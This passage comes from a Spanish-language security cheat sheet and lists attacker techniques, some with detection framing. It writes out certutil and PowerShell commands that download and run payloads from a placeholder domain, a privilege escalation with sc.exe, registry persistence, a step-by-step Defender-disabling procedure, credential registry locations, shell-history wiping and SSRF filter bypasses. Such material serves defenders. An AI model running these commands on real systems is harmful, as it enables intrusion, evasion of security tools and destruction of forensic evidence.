2993 | Ofuscación: Codifica y descodifica ficheros a través de certutil, evitando así la detección por motores antimalware en un primer análisis estático del fichero.
2994 | ```cmd
2995 | certutil -encode .\malware.exe bypass.txt
2996 | certutil -decode .\bypass.txt malware.exe
2997 | ```
2998 |
2999 | Descarga de ficheros desde una dirección URL a local a través de certutil.
3000 | ```cmd
3001 | certutil -urlcache -split -f https://domain.com/shell.exe shell.exe
3002 | ```
3003 |
3004 | Descarga de una dll maliciosa ofuscada previamente en un formato txt, decodifica y convierte la dll maliciosa a un formato de librería dll, con regsvr32 registra en modo silencioso la librería dll en el sistema.
3005 | ```cmd
3006 | certutil -urlcache -split -f https://domain.com/evildll.txt evildll.txt
3007 | certutil -decode .\evildll.txt evildll.dll
3008 | regsvr32 /s /u .\evildll.dll
3009 | ```
3010 |
3011 | ### 📜 Detectar descargas de ficheros realizadas a través de PowerShell usando "Invoke-WebRequest, Invoke-RestMethod, BitsTransfer"
3012 |
3013 | Existen multitud de técnicas para la descarga y ejecución de ficheros a través de PowerShell, estas técnicas son comunes por los actores maliciosos para poder transferirse malware a una máquina previamente comprometida o con acceso limitado o través de máquinas de salto para ejecutar después técnicas de post-explotación o movimiento lateral. Es interesante conocer las técnicas más comunes y añadir reglas de detección.
3014 |
3015 | Invoke-WebRequest (IWR) e Invoke-Expression (IEX)
3016 | ```ps
3017 | Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -OutFile "C:\temp\evilfile.exe"
3018 | Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing | Select-Object Content | IEX
3019 | Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing | IEX
3020 |
3021 | IEX (Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing).Content
3022 | IEX (Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing)
3023 | IEX (New-Object Net.WebClient).DownloadString('https://domain.com/evilfile.exe')
3024 | ```
3025 |
3026 | Invoke-RestMethod (IRM) e Invoke-Expression (IEX)
3027 | ```ps
3028 | Invoke-RestMethod -Method Get -Uri 'https://domain.com/evilfile.exe' | IEX
3029 | IEX (Invoke-RestMethod -Method Get -Uri 'https://domain.com/evilfile.exe')
3030 | ```
3031 |
3032 | BitsTransfer synchronously
3033 | ```ps
3034 | Start-BitsTransfer 'https://domain.com/evilfile.exe' -Destination "C:\temp\evilfile.exe"
3035 | ```
3036 |
3037 | BitsTransfer asynchronously
3038 | ```ps
3039 | Start-BitsTransfer 'https://domain.com/evilfile.exe' -Destination "C:\temp\evilfile.exe" -Asynchronous
3040 | ```
3041 | "BitsTransfer asynchronously" agrega un nuevo trabajo del servicio de transferencia de bits en segundo plano, esto es persistente incluso si la sesión de PowerShell se cierra. Para ver los trabajos en cola se usa "Get-BitsTransfer" y para completar el trabajo y descargar el archivo "Complete-BitsTransfer".
3042 | ```ps
3043 | Get-BitsTransfer -Name "TestJob1" | Complete-BitsTransfer
3044 | ```
3045 |
3046 | - Más info: https://github.com/adrianlois/scripts-misc/tree/main/07.PS-IEX-WebRequest-WebClient-BitsTransfer
3047 |
3048 | ### 📜 Post-Explotación - PrivEsc con scmanager
3049 | LPE (Local Privilege Escalation) persistente y sin uso de archivos usando sc.exe otorgando permisos del SCM (Service Control Manager).
3050 |
3051 | - https://learn.microsoft.com/en-us/windows/win32/services/service-control-manager
3052 |
3053 | ```cmd
3054 | sc.exe sdset scmanager D:(A;;KA;;;WD)
3055 | [SC] SetServiceObjectSecurity SUCCESS
3056 | ```
3057 |
3058 | ### 📜 DLL Hijacking *cscapi.dll*
3059 | Windows Explorer carga automáticamente cscapi.dll que nunca se encuentra. Podría se aprovechada para ejecutar un payload.
3060 |
3061 | - https://twitter.com/D1rkMtr/status/1613568545757220864
3062 |
3063 | ```cmd
3064 | C:\Windows\cscapi.dll
3065 | ```
3066 |
3067 | ### 📜 Otras técnicas de ejecución de CMD o PowerShell
3068 |
3069 | Un actor malicioso puede crear en una nueva línea de comandos en Powershell con el comando "query", de forma que pueda generar persistencia en el sistema. Si previamente ejecuta el siguiente comando.
3070 | ```cmd
3071 | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Utilities\query" /v pwned /t REG_MULTI_SZ /d 0\01\0pwned\0powershell.exe
3072 | ```
3073 |
3074 | Al consultar la clave de registro se ejecutará una Powershell.exe.
3075 | ```cmd
3076 | query pwned
3077 | ```
3078 |
3079 | La detección puede ser complicada si se reemplaza "powershell.exe" por un ejecutable malicioso o tipo [LOLbin](https://lolbas-project.github.io/).
3080 |
3081 | ### 📜 Uso de *type* para descargar o subir ficheros
3082 |
3083 | 1. Alojar un servidor WebDAV con acceso anónimo r/w
3084 | 2. Download:
3085 | ```cmd
3086 | type \\webdav-ip\path\file.ext > C:\path\file.ext
3087 | ```
3088 | 3. Upload:
3089 | ```cmd
3090 | type C:\path\file.ext > \\webdav-ip\path\file.ext
3091 | ```
3092 |
3093 | ### 📜 Bloquear conexiones USB: Rubber Ducky y Cactus WHID
3094 |
3095 | - HID - Hardware ID
3096 | - VID - Vendor ID
3097 | - PID - Product ID
3098 |
3099 | **Rubber Ducky**.
3100 | ```
3101 | HID\VID_03EB&PID_2401&REV_0100
3102 | ```
3103 |
3104 | **Cactus WHID** (whid-injector).
3105 | ```
3106 | HID\VID_1B4F&PID_9208&REV_0100&MI_02&Col02
3107 | HID\VID_1B4F&PID_9208&MI_02&Col02
3108 | ```
3109 |
3110 | ```ps
3111 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions" -Name 'DenyDeviceIDs' -Value 1 -PropertyType DWord
3112 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions" -Name 'DenyDeviceIDsRetroactive' -Value 1 -PropertyType DWord
3113 |
3114 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceIDs" -Name 'HID\VID_03EB&PID_2401&REV_0100' -Value 1 -PropertyType String
3115 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceIDs" -Name 'HID\VID_1B4F&PID_9208&MI_02&Col02' -Value 1 -PropertyType String
3116 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceIDs" -Name 'HID\VID_1B4F&PID_9208&REV_0100&MI_02&Col02' -Value 1 -PropertyType String
3117 | ```
3118 |
3119 | ### 📜 Claves de registro de Windows donde se almacenan las contraseñas
3120 |
3121 | Claves de registro de Windows donde se almacenan las contraseñas del sistema y de herramientas de terceros más comunes, buscadas en fases de Post-Explotación.
3122 |
3123 | Las claves se ordenan de mayor a menor ocurrencia.
3124 | ```
3125 | KLM\Software\RealVNC\WinVNC4
3126 | HKCU\Software\SimonTatham\PuTTY\Sessions
3127 | HKCU\Software\ORL\WinVNC3\Password
3128 | HKLM\SYSTEM\Current\ControlSet\Services\SNMP
3129 | HKCU\Software\Polices\Microsoft\Windows\Installer
3130 | HKLM\SYSTEM\CurrentControlSet\Services\SNMP
3131 | HKCU\Software\TightVNC\Server
3132 | HKCU\Software\OpenSSH\Agent\Keys
3133 | HKLM\SYSTEM\CurrentControlSet\Control\LSA
3134 | HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
3135 | HKLM\Software\RealVNC\vncserver
3136 | HKLM\Software\RealVNC\WinVNC4\Password
3137 | HKLM\Software\RealVNC
3138 | HKCU\Software\PremiumSoft\Navicat\Servers
3139 | HKLM\SYSTEM
3140 | HKLM\SAM
3141 | HKCU\Software\PremiumSoft\NavicatMONGODB\Servers
3142 | HKCU\Software\PremiumSoft\NavicatMSSQL\Servers
3143 | HKCU\Software\PremiumSoft\NavicatPG\Servers
3144 | HKCU\Software\PremiumSoft\NavicatSQLite\Servers
3145 | HKCU\Software\PremiumSoft\NavicatMARIADB\Servers
3146 | HKCU\Software\PremiumSoft\NavicatOra\Servers
3147 | HKCU\Software\TigerVNC\WinVNC4
3148 | ```
3149 |
3150 | ### 📜 WDigest Authentication (lsass.exe): Habilitado / Deshabilitado
3151 |
3152 | Si un malware habilita de forma forzada la autenticación [WDigest](https://datatracker.ietf.org/doc/html/rfc2617), las contraseñas se almacenarán en texto claro en la memoria del proceso lsass.exe (LSASS - Local Security Authority Subsystem Service).
3153 |
3154 | ```
3155 | HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
3156 |
3157 | Deshabilitado: UseLogonCredential = 0 (Seguro)
3158 | Habilitado: UseLogonCredential = 1 (Inseguro)
3159 | ```
3160 |
3161 | > [!NOTE]
3162 | > A partir de Windows 10 (versión 1507), esta opción está deshabilitada de forma predeterminada. En versiones anteriores de Windows, como Windows XP, 7, 8 y 8.1, está habilitada por defecto, lo que permite el almacenamiento de contraseñas en texto claro en memoria.
3163 |
3164 | ### 📜 Detectar si un sistema es una máquina física o virtual y su tipo de hipervisor o CSP (Azure, AWS, GCP)
3165 |
3166 | PowerShell
3167 | ```ps
3168 | Get-MpComputerStatus | Select-Object "IsVirtualMachine" | fl
3169 | ```
3170 | ```ps
3171 | Get-WmiObject -Class Win32_ComputerSystem | Select-Object -Property Model, Manufacturer
3172 | Get-WmiObject -Class Win32_BIOS | Select-Object -Property SMBIOSBIOSVersion
3173 | ```
3174 |
3175 | CMD
3176 | ```cmd
3177 | WMIC BIOS > wmic_bios.txt
3178 |
3179 | ...
3180 | BIOSVersion SMBIOSBIOSVersion
3181 | {"VBOX -1"} VirtualBox
3182 | ...
3183 | ```
3184 |
3185 | GUI
3186 | ```
3187 | msinfo32 /report > Producto de placa base
3188 | ```
3189 |
3190 | **Detectar CSP (Cloud Service Provider)**: Amazon EC2, Google Cloud, Alibaba Cloud, VMware, Inc., Microsoft Hyper-V, etc.
3191 | ```ps
3192 | ("HKLM:\HARDWARE\DESCRIPTION\System", "HKLM:\HARDWARE\DESCRIPTION\System\BIOS") | ForEach-Object { Get-ItemProperty -Path $_ } | Select-Object -Property SystemBiosVersion, SystemManufacturer, SystemProductName
3193 | ```
3194 |
3195 | ### 📜 Técnicas de ofuscación en la ejecución de comandos en Windows
3196 |
3197 | - https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation
3198 |
3199 | ### 📜 Detectar acciones de AutoRun al abrir una Command Prompt (cmd)
3200 |
3201 | Un atacante creó un valor *"AutoRun"* en la siguiente clave de registro, aquí pudo agregar un comando malicioso como sus datos de valor. Ahora, cada vez que se inicie una consola cmd este comando se ejecutará automáticamente.
3202 | ```
3203 | HKLM\SOFTWARE\Microsoft\Command Processor
3204 | ```
3205 |
3206 | ### 📜 Extensiones ejecutables alternativas a .exe
3207 |
3208 | Un atancante puede renombrar la extensión de un fichero malicioso a extensiones como:
3209 |
3210 | - **.pif**, **.scr** o **.com**
3211 |
3212 | Todas se ejecutarán de la misma forma que .exe.
3213 |
3214 | ### 📜 Detectar malware que se está ejecutando desde una carpeta que no permite su acceso por error de ubicación (flujo NTFS en directorios $INDEX_ALLOCATION)
3215 |
3216 | Un posible actor malicioso podría crear una carpeta visible a través de línea de comandos ejecutando un dir y/o también verla en un explorador de Windows.
3217 |
3218 | En ambas situaciones no es posible acceder a este directorio debibo a que el nombre no a sido creado como lo vemos en pantalla o en el output de consola, sino que es posible que haya sido creado con un punto al final del nombre, estableciendo un tipo de flujo *$INDEX_ALLOCATION* y un nombre de flujo *\$I30* o vacío, ambos son equivalentes.
3219 |
3220 | ```
3221 | md .::$index_allocation
3222 | md .:$I30:$index_allocation
3223 | ```
3224 |
3225 | De esta forma aparecerá el nombre del cirectorio seguido de un punto, pero cuando se intente acceder a el ya sea de forma gráfica con doble clic o vía consola con "cd" se mostrará un mensaje de error indicando que la "ubicación no está disponible o no es correcta para ese equipo". Una manera de solucionar esto sería acceder vía "cd" en consola e indicando: "*nombre carpeta.+flujo vacío+tipo de flujo*". (Esto no está soportado en Powershell)
3226 |
3227 | ```
3228 | cd .::$index_allocation
3229 | cd .:$I30:$index_allocation
3230 | ```
3231 |
3232 | - Flujos NTFS: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
3233 |
3234 | Ejemplo
3235 | ```
3236 | C:\malware>md test1
3237 | C:\malware>tree
3238 | Listado de rutas de carpetas
3239 | El número de serie del volumen es FFFFFF65 AC06:D3EE
3240 | C:.
3241 | ├───test1
3242 | C:\malware>cd test1
3243 | C:\malware\test1>cd ..
3244 | C:\malware>md test2.::$index_allocation
3245 | C:\malware>tree
3246 | Listado de rutas de carpetas
3247 | El número de serie del volumen es FFFFFF65 AC06:D3EE
3248 | C:.
3249 | ├───test1
3250 | └───test2.
3251 | C:\malware>cd test2.
3252 | El sistema no puede encontrar la ruta especificada.
3253 | C:\malware>cd test2.::$index_allocation
3254 | C:\malware\test2.::$index_allocation>cd ..
3255 | C:\malware>
3256 | ```
3257 |
3258 | ### 📜 Windows Search Index: Detección de técnicas anti-forenses y evasión
3259 |
3260 | Con relación a los artefactos comentados de [Windows Search Index (archivos Windows.edb, .crwl, .blf, .jrs)](#-windows-search-index-archivos-windowsedb-crwl-blf-jrs).
3261 |
3262 | - **Reconstrucción del índice**: Borrar el historial indexado.
3263 | - `Panel de control > Opciones de indización > Avanzado > Reconstruir`
3264 |
3265 | - **Uso de extensiones no indexadas**: Archivos **.xyz**, **.dat** u otras extensiones no asociadas a un ***PersistentHandler*** no son indexados por defecto.
3266 |
3267 | - **Manipulación de PersistentHandler**: Cambiar el comportamiento de cómo se procesan los archivos.
3268 | ```reg
3269 | [HKEY_CLASSES_ROOT\.pdf]
3270 | @="exefile"
3271 | "PersistentHandler"="{098f2470-bae0-11cd-b579-08002b30bfeb}"
3272 | ```
3273 |
3274 | - **Desactivación del servicio de búsqueda**: (previamente comprometida una cuenta privilegiada)
3275 | - Parar el servicio **WSearch**.
3276 | - Deshabilitar o configurar el servicio mediante políticas de grupo o través de configuración local en el equipo vulnerable (services.msc o regedit).
3277 |
3278 | - **Eliminación manual de los ficheros**: .crwl, .log y .edb
3279 |
3280 | ### 📜 Deshabilitar Windows Defender para eludir la detección de AMSI en la ejecución de binarios maliciosos (renombrar MsMpEng.exe a través del registro ControlSet00X)
3281 | Una forma de poder eludir el sistema de protección por defecto de Windows es renombrar el fichero del proceso de ejecución del servicio de Windows Defender. De forma que al iniciar el sistema este no se pueda ejecutar al no encontrar correctamente el nombre de este fichero que levanta el proceso de servicio de Windows Defender. Esto permite a actores maliciosos poder ejecutar binarios maliciosos como por ejemplo Mimikatz u otros.
3282 |
3283 | **MsMpEng.exe** es el proceso principal de la aplicación antimalware Windows Defender. Windows Defender viene preinstalado en Windows 11 y Windows 10, ubicado en "*C:\Program Files\Windows Defender\MsMpEng.exe*"
3284 |
3285 | Este proceso no se puede modificar renombrándolo ya que está constantantemente en uso, aunque se esté en contexto de usuario privilegiado como administrador. Pero lo que si es posible es renombrar la llamada de este fichero en el inicio del sistema, editando previamente las claves del registro correspondientes de "ControlSet00X" de forma offline: exportando, modificando la extensión del valor modificado de MsMpEng, creando una nueva clave ControlSet donde se importará este cambio, cambiar los valores por defecto del sistema a esta nueva clave para que inicie por defecto el sistema asignando este nuevo ControlSet y finalmente reiniciar el equipo.
3286 |
3287 | 1. Regedit > export hive: `HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001` > guardar en nuevo fichero reg1.dat.
3288 | 2. Editar desde [HxD](https://mh-nexus.de/en/hxd):
3289 | - Abrir reg1.dat > buscar "msmpeng.exe" > establecer "text encoding: Unicode UTF-16".
3290 | 3. Renombrar extensión: "msmpeng.exe" en "msmpeng.xxx" > guardar reg1.dat.
3291 | 4. Regedit > crear nueva key vacía > `HKEY_LOCAL_MACHINE\SYSTEM\ControlSet007` > import reg1.dat.
3292 | 5. Por orden ControlSet001 es la clave que el sistema carga por defecto al iniciarse. Cambiar el orden de esta prioridad en la clave "HKLM\SYSTEM\Select" correspondiente del ControlSet creado anteriormente y correspondiente a ControlSet007:
3293 | - Cambiar `HKEY_LOCAL_MACHINE\SYSTEM\Select` > "Current" > Value: 7
3294 | - Cambiar `HKEY_LOCAL_MACHINE\SYSTEM\Select` > "Default" > Value: 7
3295 | - Cambiar `HKEY_LOCAL_MACHINE\SYSTEM\Select` > "LastKnowGood" > Value: 7
3296 | 6. Reiniciar equipo.
3297 |
3298 | ## 📁 Linux
3299 |
3300 | ### 📜 *debugfs* para eludir alertas al ejecutar comandos o acceder a ficheros con auditoria
3301 | Si un actor malicioso accede a un archivo crítico, este puede estar auditado y los investigadores de SOC recibirán una alerta. Pero, si se usan el comando "*debugfs*" para acceder al archivo, es posible omitir esta alerta.
3302 | - https://gtfobins.github.io/gtfobins/debugfs
3303 | ```bash
3304 | df -h
3305 | sudo debugfs /dev/sda1
3306 | debugfs: ls
3307 | debugfs: cat /etc/passwd
3308 | ... modo interactivo ...
3309 | ```
3310 |
3311 | - Referencia: https://gtfobins.github.io
3312 |
3313 | ### 📜 Detectar la ejecución de comandos de forma oculta en history
3314 |
3315 | Las líneas de historial con el sufijo * (asterisco) significa que ha sido modificado. Por ejemplo, usando la tecla hacia arriba (↑), se edita y luego se vuelve a presionar hacia arriba para cambiar a otro comando histórico sin presionar Enter. Cuando se vuelva a ejecutar history se verá que un comando del histórico a sido modificado pero no se sabrá cual fue el comando inicial ejecutado.
3316 |
3317 | ```bash
3318 | $ sudo bash malware.sh
3319 | $ history
3320 | 1 clear
3321 | 2 sudo bash malware.sh
3322 | 3 history
3323 | ```
3324 |
3325 | Presionar tecla hacia arriba (↑), modificar la cadena de texto, sin pulsar Enter volver cambiar a otro comando pasado pulsando nuevamente la tecla hacia arriba (↑), eliminar y volver ejecutar history para comprobar que el comando inicial no a sido almacenado sino sustituido sin ejecución.
3326 | ```bash
3327 | $ sudo bash software.sh
3328 | $ history
3329 | 1 clear
3330 | 2* bash software.**sh**
3331 | 3 history
3332 | ```
3333 |
3334 | ### 📜 Deshabilitar el uso del historial de la Shell
3335 |
3336 | Un actor malicioso puede ejecutar estos comandos para no guardar o registrar en el archivo .bash_history el historial de acciones en la shell como técnica anti forense y evitar ser detectados.
3337 | ```bash
3338 | export HISTFILE=/dev/null
3339 | export HISTFILESIZE=0
3340 | ```
3341 |
3342 | ### 📜 Eliminar el historial de comandos de la Shell (.bash_history & .zsh_history)
3343 |
3344 | Limpiar todo el historial del usuario actual.
3345 | ```bash
3346 | history -cw
3347 | ```
3348 |
3349 | Limpiar el historial del usuario actual y salir sin dejar rastro.
3350 | ```bash
3351 | history -cw && exit
3352 | ```
3353 |
3354 | Limpiar manualmente el historial, eliminando manualmente su contenido.
3355 | ```bash
3356 | nano /home/user/.bash_history
3357 | nano /home/user/.zsh_history
3358 | ```
3359 |
3360 | Limpiar manualmente el historial, vaciando su contenido.
3361 | ```bash
3362 | cat /home/user/.bash_history 2> /dev/null > /home/user/.bash_history
3363 | cat /home/user/.zsh_history 2> /dev/null > /home/user/.zsh_history
3364 | ```
3365 |
3366 | ### 📜 Auditoría en el uso privilegiado de los siguientes comandos en Linux
3367 |
3368 | Los siguientes comandos privilegiados deberían auditarse:
3369 | | | | | | | |
3370 | |:-:|:-:|:-:|:-:|:-:|:-:|
3371 | | agetty | cvsbug | fdisk | ipcs | mkswap | quotacheck |
3372 | | arp | debugfs | fsck | lpc |mountd | quotaoff |
3373 | | badblocks | dmesg | ftpd | lpd | nfsd | quotaon |
3374 | | Cfdisk | dumpe2fs | inetd | makedev | nslookup | renice |
3375 | | Chroot | e2fsck | init | mke2fs | overchan | repquota |
3376 | | Crond | edquota | nndstart | mkfs | plipconfig | rpcinfo |
3377 | | ctrlaltdel | fdformat | ipcrm | mklost+found | portmap |
3378 |
3379 | Los siguientes comandos no se instalan por defecto, no obstante en caso de instalarse por requerimientos del sistema deberían también ser auditados:
3380 | | | | | | | |
3381 | |:-:|:-:|:-:|:-:|:-:|:-:|
3382 | | archive | expire | klogd | newsdaily | pppd | rpcrwalld |
3383 | | buffchan | expireover | named-xfer | newslog | pppstats | rquotad |
3384 | | chat | fastrm | named | newsrequeue | prunehistory | rpcrquotad |
3385 | | comsat | filechan | namedreload | nnrpd | rarp | rshd |
3386 |
3387 | - Referencia: https://gtfobins.github.io
3388 |
3389 | ## 📁 Redes
3390 |
3391 | ### 📜 WAF Bypass (SSRF): usar acortamiento IP local
3392 |
3393 | | Bloqueo | Bypass |
3394 | |--------------------|------------------|
3395 | | http://10.0.0.1 | http://1.1 |
3396 | | http://127.0.0.1 | http://127.1 |
3397 | | http://192.168.0.5 | http://192.168.5 |
3398 |
3399 | ### 📜 Dirección IPv6 asignada a IPv4 utilizada para ofuscación
3400 |
3401 | Un dirección IPv6 se puede asignar a una dirección IPv4. Por lo tanto, si un actor malicioso intenta reconocer un servidor para conectarse a una dirección IPv4 y es bloqueado por la solución de seguridad. Probar esta técnica para ofuscar la comunicación y evitar posibles detecciones.
3402 |
3403 | ```
3404 | ping ::ffff:8.8.8.8
3405 | Haciendo ping a 8.8.8.8 con 32 bytes de datos:
3406 | Respuesta desde 8.8.8.8: bytes=32 tiempo=13ms TTL=117
3407 | ```
3408 |
3409 | Incluso la parte de IPv4 también se puede convertir a hexadecimal.
3410 | ```
3411 | ping ::ffff:0808:0808
3412 | Haciendo ping a 8.8.8.8 con 32 bytes de datos:
3413 | Respuesta desde 8.8.8.8: bytes=32 tiempo=13ms TTL=117
3414 | ```
3415 |
3416 | - Referencia: https://isc.sans.edu/diary/30466
3417 |
3418 | ## 📁 Varios
3419 |
3420 | ### 📜 Forensia (Anti-Forensic)
3421 |
3422 | Herramienta antiforense para Red Teamers, utilizada para borrar algunas huellas en la fase posterior a la explotación.
3423 |
3424 | - https://github.com/PaulNorman01/Forensia
--------------------------------------------------------------------------------